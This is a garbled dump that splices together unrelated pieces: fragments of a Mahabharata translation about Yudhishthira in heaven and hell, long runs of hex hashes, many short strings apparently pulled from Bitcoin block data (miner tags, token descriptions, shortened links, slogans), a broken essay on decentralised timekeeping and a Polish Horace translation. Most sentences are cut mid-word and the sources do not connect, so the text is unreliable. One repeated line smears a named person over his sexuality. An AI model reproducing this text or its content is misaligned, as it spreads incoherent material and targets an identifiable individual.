ng, ‘I am Karna
!’ ‘I am B
himasena!’ 
5;I am Arjuna!’
‘I am Nakula!&
#146; ‘I am Sah
adeva!’ ‘I
am Dhrishtadyumna!&
#146; ‘I am Dra
upadi!’ ‘W
e are the sons of Dr
aupadi!’ Even t
hus, O king, did tho
se voices speak.</p>
e exclamations, O ki
ng, uttered in voice
s of pain suitable t
o that place, the ro
yal Yudhishthira ask
ed himself ‘Wha
t perverse destiny i
s this? What are tho
se sinful acts which
were committed by t
hose high-souled bei
ngs, Karna and the s
ons of Draupadi, and
the slender-waisted
princess of Pancala
, so that their resi
dence has been assig
ned in this region o
f foetid smell and g
reat woe? I am not a
ware of any transgre
ssion that can be at
tributed to these pe
rsons of righteous d
eeds. What is that a
ct by doing which Dh
ritarashtra’s s
on, king Suyodhana,
with all his sinful
followers, has becom
e invested with such
prosperity? Endued
with prosperity like
that of the great I
ndra himself, he is
highly adored. What
is that act through
the consequence of w
hich these (high-sou
led ones) have falle
n into Hell? All of
them were conversant
with every duty, we
re heroes, were devo
ted to truth and the
<i>Vedas; </i>were
observant of Kshatri
ya practices; were r
ighteous in their ac
ts; were performers
of sacrifices; and g
ivers of large prese
nts unto <i>brahmana
s. </i>Am I asleep o
r awake? Am I consci
ous or unconscious?
Or, is all this a me
ntal delusion due to
disorders of the br
>"Overwhelmed by sor
row and grief, and w
ith his senses agita
ted by anxiety, king
Yudhishthira indulg
ed in such reflectio
ns for a long time.
The royal son of Dha
rma then gave way to
great wrath. Indeed
, Yudhishthira then
censured the gods, a
s also Dharma himsel
f. Afflicted by the
very foul odour, he
addressed the celest
ial messenger, sayin
g, ‘Return to t
he presence of those
whose messenger tho
u art. Tell them tha
t I shall not go bac
k to where they are,
but shall stay even
here, since, in con
sequence of my compa
nionship, these affl
icted brothers of mi
ne have become comfo
rted.’ Thus add
ressed by the intell
igent son of Pandu,
the celestial messen
ger returned to the
place where the chie
f of the deities was
, viz., he of a hund
red sacrifices. He r
epresented unto him
the acts of Yudhisht
hira. Indeed, O rule
r of men, he informe
d Indra of all that
Dharma’s son ha
F="e18003.htm">Next:
Section 3</A></CENT
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lign="center"><b>1</
</i>Having bowed dow
n into Narayana, and
to Nara, the foremo
st of men, as also t
o the goddess Sarasv
ati, should the word
"Jaya" be uttered.<
said, "Having attai
ned to Heaven, what
regions were respect
ively attained by my
grandsires of old,
viz., the Pandavas a
nd the sons of Dhrit
arashtra? I desire t
o hear this. I think
that thou art conve
rsant with everythin
g, having been taugh
t by the great Rishi
Vyasa of wonderful
shampayana said, "Li
sten now to what thy
grandsires, Yudhish
thira and others, di
d after having attai
ned to Heaven, that
place of the deities
. Arrived at Heaven,
king Yudhishthira t
he just, beheld Dury
odhana endued with p
rosperity and seated
on an excellent sea
t. He blazed with ef
fulgence like the su
n and wore all those
signs of glory whic
h belong to heroes.
And he was in the co
mpany of many deitie
s of blazing effulge
nce and of Sadhyas o
f righteous deeds. Y
udhishthira, beholdi
ng Duryodhana and hi
s prosperity, became
suddenly filled wit
h rage and turned ba
ck from the sight.</
addressed his compan
ions, saying, ‘
I do not desire to s
hare regions of feli
city with Duryodhana
who was stained by
cupidity and possess
ed of little foresig
ht. It was for him t
hat friends, and kin
smen, over the whole
Earth were slaughte
red by us whom he ha
d afflicted greatly
in the deep forest.
It was for him that
the virtuous princes
s of Pancala, Draupa
di of faultless feat
ures, our wife, was
dragged into the mid
st of the assembly b
efore all our senior
s. Ye gods, I have n
o desire to even beh
old Suyodhana. I wis
h to go there where
my brothers are.
, smiling, told him,
‘It should not
be so, O king of ki
ngs. While residing
in Heaven, all enmit
ies cease. O mighty-
armed Yudhishthira,
do not say so about
king Duryodhana. Hea
r my words. Here is
king Duryodhana. He
is worshipped with t
he gods by those rig
hteous men and those
foremost of kings w
ho are now denizens
of Heaven. By causin
g his body to be pou
red as a libation on
the fire of battle,
he has obtained the
end that consists i
n attainment of the
region for heroes. Y
ou and your brothers
, who were veritable
gods on Earth, were
always persecuted b
y this one. Yet thro
ugh his observance o
f Kshatriya practice
s he has attained to
this region. This l
ord of Earth was not
terrified in a situ
ation fraught with t
145;O son, thou shou
ldst not bear in min
d the woes inflicted
on thee on account
of the match at dice
. It behoveth thee n
ot to remember the a
fflictions of Draupa
di. It behoveth thee
not to remember the
other woes which we
re yours in conseque
nce of the acts of y
our kinsmen,—th
e woes, viz., that w
ere due to battle or
to other situations
. Do thou meet Duryo
dhana now according
to the ordinances of
polite intercourse.
This is Heaven, O l
ord of men. There ca
n be no enmities her
Though thus addresse
d by Narada, the Kur
u king Yudhishthira,
endued with great i
ntelligence, enquire
d about his brothers
and said, ‘If
these eternal region
s reserved for heroe
s be Duryodhana’
;s, that unrighteous
and sinful wight, t
hat man who was the
destroyer of friends
and of the whole wo
rld, that man for wh
ose sake the entire
Earth was devastated
with all her horses
and elephants and h
uman beings, that wi
ght for whose sake w
e were burnt with wr
ath in thinking of h
ow best we might rem
edy our wrongs, I de
sire to see what reg
ions have been attai
ned by those high-so
uled heroes, my brot
hers of high vows, s
teady achievers of p
romises, truthful in
speech, and disting
uished for courage.
The high-souled Karn
a, the son of Kunti,
incapable of being
baffled in battle, D
hrishtadyumna, Satya
ki, the sons of Dhri
shtadyumna and those
other Kshatriyas wh
o met with death in
the observance of Ks
hatriya practices, w
here are those lords
of Earth, O Brahman
a? I do not see them
here, O Narada. I d
esire to see, O Nara
da, Virata and Drupa
da and the other gre
at Kshatriyas headed
by Dhrishtaketu, as
also Shikhandi, the
Pancala prince, the
sons of Draupadi, a
nd Abhimanyu, irresi
stible in battle.
18002.htm">Next: Sec
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bb248a55ec6747413ab8
4773161b11d0d2c98563
52c11adde49480c27424
1c2dca8cdb3e2973a58a
a6881f7f7c821ef148e0
3218fd42a64e33dba1d5
ee3c03d15cb00bfe62e3
52377e3901b838e1288f
342c03a07db7ee16e5cb
9ff234b5cf7d969b9761
667f7373db150674ab64
414141d57185772beedc
23dc1d6baef94b190718
75f8272d027dff0ba83c
9ea9ab43e6cc59799d69
87b67aee343e31e14389
314bbf9f913d0d18e720
2899c8a2c0d423a03eac
558cf48f1336a5079149
f7b51d78dfda0ff77191
277b093fbec82230157a
f8a0994979e314a70111
4a7efca776f006374ae8
951aea72e5f99a7049e4
a41ee9c9427f86707660
286530e9cad2bd1f2d3c
12bfbeb8791b92b55e1c
13fc89687012760150a2
27e31f6e35d457778d74
2a853693b99f1290206c
5d0cfcfa99336ab8b3b2
ae70c600f7ab930e9d45
8edc3f41c943c1a291c3
577a1994cea5f4e18c1d
d5185a68f46d6c251c0f
d90233613cb39b2574bc
8ca9a4f63ee90c689ef5
9ffb93de1f7dd3af9019
51e6969cf4b85a3ab2d2
7c48c5e6c6dee2664b38
6203aee8d4c5ac8eb116
9448bc86fa575f433a26
033b4e73e2d998b3e9f2
6300b9414e06cdb350bc
a3ef4076a888f779f7c2
c756b76dccc625e58fe3
764477b6e48396cd3eb9
c59425abcde3c61c048e
a6eb733f1d42d826ef11
80ace53fc6e3185f0d4a
b4b7f3350b6b9b7f0bde
51ef5f1a60679a290ba2
0307520acaaa938a58ab
d4345f3b056164762d2c
477c067e5eb84e723fae
a70d00829e6c87f89a65
53ce79f7402587f4621d
07736630fff34029848b
d2a31cb9f4645790015e
dd0ea0367221171345cd
91f7cb10c29dab995de7
0a78ec76c387c594b742
e05b3e63e24d68a84d42
99d94b7724c5f6dc52c9
8c498ef2818fd15775fe
d1053bff45b9ca13ce34
8caae7a929b18a567de9
5d84b48ea73f8187aa6b
c399e8e977ae0aa3444f
9d3b29721f6544189d55
4770cf5e0e4e782f6b63
4df9fe7dc451abcee4d5
e6bda005f785d73ceeb6
27f872e4d02f57bebb4c
7d2b05d7d2404daa0a13
a8cfce042f240af5f2d1
fb179a97db5be3905a1a
38fc44d6257d877f4336
2c0891e2d027ebbf39a3
eefebab7dc2da96fb852
7304c1548687fbb3ed14
0c0a832eae5bdde7d7d5
d1c424daa4882a732a75
991b413c840cdef9c986
d2991a28b613d298aae3
10113854abe9f25302de
1273c539bafa9c06e6f9
62e38ef4340d5ce08290
f83cf7c18e15d0c5fdca
5113acc0ae2c88d29c6d
24ef17b11a9308f3014e
7fe1156a0e5ae9efc4d9
18f3c0d9fa3251dba275
7b33fef4bd7c70a12474
50bf3ae7f2f3b75069d5
9c4acd57ac98b797cd92
bf39b16cf73b1108cb0c
f17b2bdb3ca885e16082
0b9dbccc75040f0419dc
6fa020ac4354bbd1b816
c6b0ab333b9133749dcb
276878861676c70702d9
744b960c27c5948f795d
c45197bc569be8d8dc73
efb4f4134c5d0f7ac45f
5a133a6409de497732a3
ffd59a3ac5457a21adfe
925d00a1bd192e059a86
83c0b2c68d6e890faf01
604ff959bef9b4ff14b1
090b8318d6ef9d1b9d19
82ae6dcd140e0fac7e6e
f714d002200929975071
88673d69069bbc43b018
70583d25bebce7d09329
4797c892af5dd65f0bf8
7b363d994588d5f28aca
cc10ee379618a34db65f
c6eaefb2c773b286559b
82ee0d5bb574f1ef6b5e
8609b4203fde83c6bbba
4e5dd964eeaaedce8558
7ec40d218ff234e53a6e
346f0408421a5d15f218
f47cb96461f01ef4a41a
97d727aaf5193925b4c3
85c4b875cc7685772243
dcc4?198"f47cb96461f
01ef4a41a97d727aaf51
93925b4c385c4b875cc7
8210dae8da2849ca99da
6d46e6694a75abc782b5
ffcec80e680314059b9d
bcd2d5d4249ba439b784
T! t.io/feed/1AJBFNrBNkicWtjbDSAAFiR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by lglorgpp1979
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
'j%l, ash nazg thrakatuluk, agh burzum-i
'j%Ash nazg durbatuluk, ash nazg gimbatu
! feeds.info/static/live/btc-usd.jR
17ed7903b290521a740c
febd6739d67b24862c96
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Time is always against us.
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
"Shares in the BFIS miningR
! feeds.info/static/live/btc-usd.jR
(Counterparty News - countR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Operation "rakushka" :)
! feeds.info/static/live/btc-usd.jR
5a518c95f2421c6b0461
f0619edf605916014ee7
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/blEicW_BcT
! feeds.info/static/live/btc-usd.jR
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Follow the white rabbit.
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
Mined by lukeskywalker
Time is always against us.
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
%LESBIAN GAY BISEXUAL TRANR
Holly Merrick, I love you x x
Http://olivercarding.com
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
The blockchain is an organism.
! feeds.info/static/live/btc-usd.jR
! t.io/feed/1BHcztZ2g6a14iUamUtEKAR
! feeds.info/static/live/btc-usd.jR
CMined by arendelle1tm
! feeds.info/static/live/btc-usd.jR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
! feeds.info/static/live/btc-usd.jR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
!http://joelooney.org/ltbcR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
'j%My name is Tom and I was 21 when I wr
! feeds.info/static/live/btc-usd.jR
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Follow the white rabbit.
! feeds.info/static/live/btc-usd.jR
Mined by a2110529253
! feeds.info/static/live/btc-usd.jR
...BUT SWEAT MEMORIES REMAIN
Operation "rakushka" :)
Mined by zhaodong1982
Follow the white rabbit.
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
government free future
'j%KSK - 27 - TLN -T1614B -Here is to a
5#The truth is that there is no spoon
@puntasafo,52.512668,13.320005
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
/Mined by Avalon + Huobi/
! feeds.info/static/live/btc-usd.jR
Mined by qq980117556
'NOTHING BIG CAME OUT OF SOMETHING SMALL
! feeds.info/static/live/btc-usd.jR
9702a1aeffba308bb60f
b4257c7bf03e26a8e329
7b7244eb9c9541d7734f
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
.! t.io/feed/1DPkDfEk9ihi8TKso2dEv4R
! feeds.info/static/live/btc-usd.jR
BtcDrak is a known homosexual
digitaltangibletrust.com/aR
ssets/GLDUSAEAGLTNTH
$/mining.bitcoinaffiliatenetwork.com/
BtcDrak is a known homosexual
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
Mined by qq1271720094
! feeds.info/static/live/btc-usd.jR
h'NOTHING BIG CAME OUT OF SOMETHING SMALL
Chartered investment in BR
! feeds.info/static/live/btc-usd.jR
Mined by yfj13879973906
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
s-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
@mattmatt,37.777704,-122.422783
! feeds.info/static/live/btc-usd.jR
! t.io/feed/1DzvVUAVU1P6WifMYPSYe2R
! t.io/feed/12CcdGMfvzJkipnE9oWDFxR
! t.io/feed/1JUpi1ZyciqfLtAHnfhsJER
@charley,37.777601,-122.422579
What is the Banking? Control.
! feeds.info/static/live/btc-usd.jR
What is the Banking? Control.
Mined by wangxingsmile
! feeds.info/static/live/btc-usd.jR
Follow the white rabbit.
u=https://cpr.sm/DKKGZGIdkY
! feeds.info/static/live/btc-usd.jR
Cryptocurrency backed by R
bitcoin is not money
Healthy Church 9marks.org
! feeds.info/static/live/btc-usd.jR
Follow the white rabbit.
u=https://cpr.sm/T0N66eYd9r8;
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Welcome to the real world.
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Welcome to the real world.
'NOTHING BIG CAME OUT OF SOMETHING SMALL
! feeds.info/static/live/btc-usd.jR
5332b0325ea2fa3cebd8
2ed6c13471a8c56aff3a
! feeds.info/static/live/btc-usd.jR
Mined by qq1454080802
What is the Banking? Control.
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
File: blk00176.txt
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
(http://letstalkbitcoin.coR
Official Coin of MadBitcoR
Official Token of MadbitcR
Welcome to the real world.
)A token for supporting yoR
! feeds.info/static/live/btc-usd.jR
A Coin for Department of R
token for smart contractsR
Coin for Micropayments
u=https://cpr.sm/qxnTQyk6Fw8]
! feeds.info/static/live/btc-usd.jR
Smart contract system
#Decentralized CommunicatiR
LTB Organizing Token
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
n-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
)j'0 {"desc": "", "name": "testr", "total"
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
eb9dc6e0fda353fa9451
bd88a3eae4f3c7b8dbff
1a332b089e615446d000
cc414ae731acf4fdc294
8e24c8dccba7ee500264
a9014eb084d590a6266e
9756466a1dc845abd649
9c34230b59e8ae54f8ae
...BUT SWEAT MEMORIES REMAIN
! feeds.info/static/live/btc-usd.jR
Keystone distribution tokR
@charley,37.777601,-122.422579
! t.io/feed/12CcdGMfvzJkipnE9oWDFxR
T! t.io/feed/1AJBFNrBNkicWtjbDSAAFiR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
"Introspective, AnthropoloR
'NOTHING BIG CAME OUT OF SOMETHING SMALL
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
Think With Portals
! feeds.info/static/live/btc-usd.jR
%Forum privilege token forR
! feeds.info/static/live/btc-usd.jR
"Decentralized CommunicatiR
Operation "rakushka" :)
! feeds.info/static/live/btc-usd.jR
Mined by chenjialong
http://maidsafe.net/
! feeds.info/static/live/btc-usd.jR
)MaidSafeCoin is a proxy tR
Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
Mined by zhanlongclam
/Mined by Avalon + Huobi/
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by qq539951509
Mined by zhangtinghao
! feeds.info/static/live/btc-usd.jR
Welcome to the real world.
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
Mined by yang425219497
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
\#The truth is that there is no spoon
LMined by zhaodong1982
u=https://www.sertant.comx
! feeds.info/static/live/btc-usd.jR
Mined by wangxingsmile
! feeds.info/static/live/btc-usd.jR
"Introspective, AnthropoloR
Welcome to the real world.
! feeds.info/static/live/btc-usd.jR
Mined by xushiming123
! feeds.info/static/live/btc-usd.jR
Z&HE WHO IS GIVEN EVERYTHING HAS NOTHING
For kids who can't read gR
Mined by zhanlongclam
! feeds.info/static/live/btc-usd.jR
Gillies Family Holding
'NOTHING BIG CAME OUT OF SOMETHING SMALL
http://goo.gl/6jQ86V
k-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Initial Token of the OmBiR
)1% dividend from bit-chikR
Mined by chenning88813
Mined by zhanlongclam
Mined by zhangyong2014
/Mined by Avalon + Huobi/
Mined by wanyouyinli1
#j!1 "name": "test", "total": 1337}
)j'0 {"desc": "coins in eternal hellfire",
$/mining.bitcoinaffiliatenetwork.com/
Mined by zhanlongclam
Local Pickup Ballers
Mined by zhanlongclam
Mined by zhangzhiyuan
$/mining.bitcoinaffiliatenetwork.com/
Mined by yu133511711
u=https://cpr.sm/OU7NSz4R-I8]
u=https://cpr.sm/2icQpfWxEk8]
u=https://cpr.sm/HZfbkRaMVx8]
Follow the white rabbit.
Time is always against us.
)This is the Jesse LivermoR
Mined by ai7jingjing
...BUT SWEAT MEMORIES REMAIN
Mined by dd18905616666
! CKSCAN VERIFY-ADDRESS gj2x2gb8xpR
What is the Banking? Control.
Mined by pdsguoliucheng
Time is always against us.
http://bit.ly/deweller
Time is always against us.
u=https://sertant.com/SERTKN
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by arendelle1tm
Welcome to the real world.
#The truth is that there is no spoon
The very first FOUNDER
P2P Connects Us sponsor tR
)This is the Jesse LivermoR
Mined by bb13480877555
Proof of quality content
Supports Coinlaunch websiR
Coin Fire Display Ad TokeR
Mined by hxl88020088
Mined by liugonggong
Supports Coinlaunch websiR
$&HE WHO IS GIVEN EVERYTHING HAS NOTHING
What is the Banking? Control.
Mined by zhanlongclam
Mined by sxzfafaaisinila
Mined by qinwuqing888
Mined by zhanlongclam
=OMined by andy518038
$/mining.bitcoinaffiliatenetwork.com/
y&HE WHO IS GIVEN EVERYTHING HAS NOTHING
SIMON'S TOWN'S RESOURCES R
THE EMMA ANIMAL RESCUE SOR
Mined by wangxingsmile
)Crypto-Rewards Program htR
5858523b625acb44e43d
3ede638c4a7e7a953655
Pierwszy!!! [dipsao]
! t.io/feed/169bm9cu1SzTCvHbUrzju7R
$/mining.bitcoinaffiliatenetwork.com/
File: blk00177.txt
...BUT SWEAT MEMORIES REMAIN
'NOTHING BIG CAME OUT OF SOMETHING SMALL
! CKSCAN VERIFY-ADDRESS agykzh7pdpR
Operation "rakushka" :)
#The truth is that there is no spoon
Welcome to the real world.
Mined by claudetsmith
Mined by zhanlongclam
Pierwszy!!! [dipsao]
et on BBC Click - A
tp://youtu.be/K4rYXI
:btih:5f8fc13aa7fc2d
aba3c5fa5ace11334b20
389536ed1deae47c529e
Daj, ac ja pobrusze
centralized time and
location services v
e of the most precis
ely measurable units
, but affordable tim
nds on trusting cent
ral time services. T
rvices are able to p
erform attacks by ma
nipulating the appar
vantage. This text d
escribes a completel
tion to this problem
curate affordable ti
me solution is a GPS
tor. A GPSDO combine
s a stable crystal o
scillator (typical a
rystal Oscillator) a
An OXCO provides exc
ellent short term st
ability (usually bet
ter than 1e-12 on th
ale), substantially
better than atomic c
locks (esp inexpensi
but because they ar
e relative frequency
sources rather than
t have good long ter
m stability. In addi
xpensive initially t
han atomic clocks cr
ystal oscillators ha
controlled time and
location service ope
rnment. GPS itself r
eceives absolute tim
ing from large atomi
erated by (governmen
t controlled) standa
rds bodies which are
ting system via grou
nd control stations.
n constant and solvi
ng for time the GPS
o deliver precise ti
me measurements. How
ainty, limited stabi
lity of the orbiting
atomic clocks, loca
ic differences RF in
dex of refraction of
atmosphere, and inte
ntional degradation
of the system by its
short term accuracy
of timing provided
rates a control loop
where the observed
phase error between
local time is used
to drive the local o
e correct frequency
(typically by adjust
ing the oven tempera
en properly designed
a GPSDO system prov
ides equal or more a
to a single atomic c
lock at all time sca
les in a small, reli
nly costs a few hund
unately, this soluti
on is completely at
the mercy of the ope
bout the time and ex
believe the lies. Mo
reover, the US Gover
nment explicitly sta
egrade or deactivate
the GPS system if d
to achieve military
objectives, and the
system has features
rpose and these atta
cks can be geographi
rent GPSDOs will gla
dly believe even the
most outrageous lie
of reporting the yea
ystem claims that th
e date is 2009 the G
PSDOs will happily r
though the devices c
ould be improved by
received signal, thi
s is not really a so
lution since a rejec
uld no longer provid
e a long term refere
ould drift out of sy
nc. (and it would po
tentially open new a
term jamming signal
claims the gps time
nical GPSDOs refuse
to go backwards to t
wever, we can use Na
kamoto chain consens
us to decentralized
rticipating set of n
odes maintain accura
te adjustable local
. They measure the
offset between their
ference oscillator a
vailable to all node
s. After making a me
a statement about t
his offset and attem
extend a Nakamoto c
hain. New blocks in
this chain are only
f their offsets are
plausible. Nodes th
operation of recent
offsets to produce a
consensus offset be
ference, and then us
e that offset to dri
ve the frequency of
nto agreement with t
fect, we have a GPSD
O-like system but wi
th a consensus corre
the reference _is_ t
he GPS system the ab
vulnerable to denial
of service by centr
al authorities (thou
simple offsets). Ho
wever, we can instea
d us another globall
e signal which is st
rongly attack resist
cipating nodes would
sample RF noise on
some agreed band(s)
Sun and continually
record it, with the
ing driven by their
stable local oscilla
tor. Nodes would the
d recent fragments o
f this signal. Peers
would then perform
between the fragment
s and their own time
n order to find the
offset. Only nodes w
hich can concurrentl
n actively participa
te in the agreement,
but because the loc
elatively stable thi
s should not prevent
ility. (Effectively
your clock would be
corrected in the day
tem could also times
tamp multiple refere
nce clocks concurren
ference signals coul
d be used when avail
ove system could be
extended to also pro
vide location servic
icipating (mining) n
odes know their own
locations, and that
sensitive enough to
receive both RF noi
ell as the reflectio
ns of this noise off
multiple astronomic
lar system then a no
de could estimate th
t and these various
bodies using the cro
the direct signal fr
om the sun, essentia
lly the same mechani
adar. Using these m
easurements, the nod
al dynamics model fo
r the current model-
time then publish th
nced to solar signal
fragments) in the c
s will only be accep
ted by nodes which f
does not know its lo
cation but which can
signal observations
and can observe the
hash chain can acce
us time and determin
is part is crazy, sa
dly because the refl
ected signals would
too weak, and the me
asured distances too
the technique useful
Mined by caixianlong
Operation "rakushka" :)
Mined by zhanlongclam
/Mined by Avalon + Huobi/
Mined by zhanlongclam
Mined by arendelle1dm
r&HE WHO IS GIVEN EVERYTHING HAS NOTHING
(Redeemable for one pixel R
'1 XCPBOND will pay 0.03 XR
u=https://cpr.sm/JpfUwHtr96
Mined by huozhiwei2014
i&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by xushiming123
(1 XCPBOND will pay 0.03 XR
T! t.io/feed/1AJBFNrBNkicWtjbDSAAFiR
! CKSCAN VERIFY-ADDRESS sw2ind1tmbR
Welcome to the real world.
Time is always against us.
Mined by ljm181988013
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by arendelle0ls
Time is always against us.
...BUT SWEAT MEMORIES REMAIN
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/v-DhHRPrtO(6
26c8ecda3bb0f7d28e18
9f48417137e6e87af0a2
d322a1e60cf187065023
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
$/mining.bitcoinaffiliatenetwork.com/
Mined by luozikeji2014
...BUT SWEAT MEMORIES REMAIN
u=https://cpr.sm/ijcEp8lnGd
What is the Banking? Control.
&Koinify - The future of cR
%-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
happy birthday to ike
@#The truth is that there is no spoon
$/mining.bitcoinaffiliatenetwork.com/
Good for 1 Month of a LTBR
Mined by zengzhaoning
One Month of Swapbot ServR
"Lifetime Subscription to R
#The truth is that there is no spoon
2d17da2ed8fcebb3f980
d38b22e624206ca4a021
4cecbbf301200e91d472
Mined by feifeikuanggong
7fa5a05586be6ae54ea4
47d16170b957623d14a5
:&HE WHO IS GIVEN EVERYTHING HAS NOTHING
T! t.io/feed/1AJBFNrBNkicWtjbDSAAFiR
Swapbot.co featured tokenR
Proofreader Rolecoin
#Editor rolecoin on the LTR
Good for one standard ediR
69eb4715c32e285e0e36
a794b731454fc6f282d7
Good for one Standard ProR
Curator Rolecoin in LTB sR
(Good for attracting a curR
u=https://cpr.sm/Bu9eWlCHyR8]
&Koinify - The future of cR
Mined by sxwo47995152
'https://www.tpctest.com/ R
$https://www.tpctest.com/tR
"https://www.topcoin.com/aR
Operation "rakushka" :)
Mined by zhaodong1982
Mined by wangxingsmile
Welcome to the real world.
$/mining.bitcoinaffiliatenetwork.com/
k&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Welcome to the real world.
Mined by duanyuan888
Mined by xjksj080808
[Exegi monumentum ae
lem sobie pomnik trw
Od krolewskich piram
Ani go deszcz trawia
poryja bezsilne, ni
ereg, ni czas lecacy
w wiecznosci otchla
re, wiele ze mnie tu
m. Potomna slawa zaw
opoty bede, dopoki n
westalka cicha kapl
zumem sie Aufidus ro
Daunus w suchym kra
ju rzadzil polne lud
beda, ze ja, niski w
e wzbilem i zem prze
rodu Italow rytm eol
meno, wez chlube, co
delfickim wawrzynem
wiecz mi wlos rados
Mined by ztx990146937
CAaP1SW__413RATS00_T
Mined by lixiaokt1worker
The lions sing and t
he hills take flight
nd the sun by night.
t the Lord of Chaos
$/mining.bitcoinaffiliatenetwork.com/
Mined by wanyouyinli1
Mined by changshan0913
Mined by konglong001
H! the price of gold rise by 12:00R
AM UTC, Sep24? 1=yes, 2=no
Mined by arendelle1tm
v&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mined by sww11005088
unsuccessful double-spend attempt
unsuccessful double-spend attempt
u=https://cpr.sm/oss1zbPl0q8]
unsuccessful double-spend attempt
u=https://cpr.sm/oss1zbPl0q
$/mining.bitcoinaffiliatenetwork.com/
File: blk00178.txt
$STAR DUST IS FOR LEARNERSR
)"Welcome aboard the Desk R
j#The truth is that there is no spoon
$/mining.bitcoinaffiliatenetwork.com/
Operation "rakushka" :)
u=https://cpr.sm/KEPOU_r90X8]
u=https://cpr.sm/QwgaPvRugN
u=https://cpr.sm/TJiTLxIvhh8]
$/mining.bitcoinaffiliatenetwork.com/
1% presale of Koinify
o#The truth is that there is no spoon
Mined by zhanlongclam
Mined by qq1308955127
http://goo.gl/H5adfc
http://goo.gl/H5adfc
http://goo.gl/H5adfc
http://goo.gl/H5adfc
$/mining.bitcoinaffiliatenetwork.com/
http://goo.gl/H5adfc
http://goo.gl/H5adfc
http://goo.gl/H5adfc
http://goo.gl/H5adfc
http://goo.gl/H5adfc
http://goo.gl/H5adfc
Welcome to the real world.
Mined by yuling12345
! CKSCAN VERIFY-ADDRESS nlc2xrnsshR
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by arendelle1tm
Mined by haoshengwen666
#The truth is that there is no spoon
u=https://www.fracmine.com/0914
u=https://fracmine.com/09140A
u=https://fracmine.com/0914
MaidSafe Asset In DisguisR
@BMined by arendelle1dm
Mined by arendelle1dm
Follow the white rabbit.
Mined by zxo619549999
MaidSafe Asset In DisguisR
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
MaidSafe Asset In DisguisR
#The truth is that there is no spoon
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
Mined by linshen2014
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
What is the Banking? Control.
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
%Visit the MAID pair to clR
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
MaidSafe Asset In DisguisR
(Thanks for cleaning up atR
#The truth is that there is no spoon
Z-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Welcome to the real world.
Mined by liugonggong
)ROI from computers scanniR
Mined by startover0001
N! er Demand from Solar 8pdaBkhxHSbR
N! RUdTltjLI9/46w/uBByR4yedIFKjOlRIR
! CKSCAN VERIFY-ADDRESS rgmjdey28mR
u=https://fracmine.com/0914`
)j'0 {"total": 10000000, "name": "KatKoins
)j'1 ", "desc": "Karefully Kraft Koin for
Follow the white rabbit.
9bdd6282e321b6d629be
6b078b8b7c4975a7b224
9761c43a7943b47dfc8c
Altanimus creator token
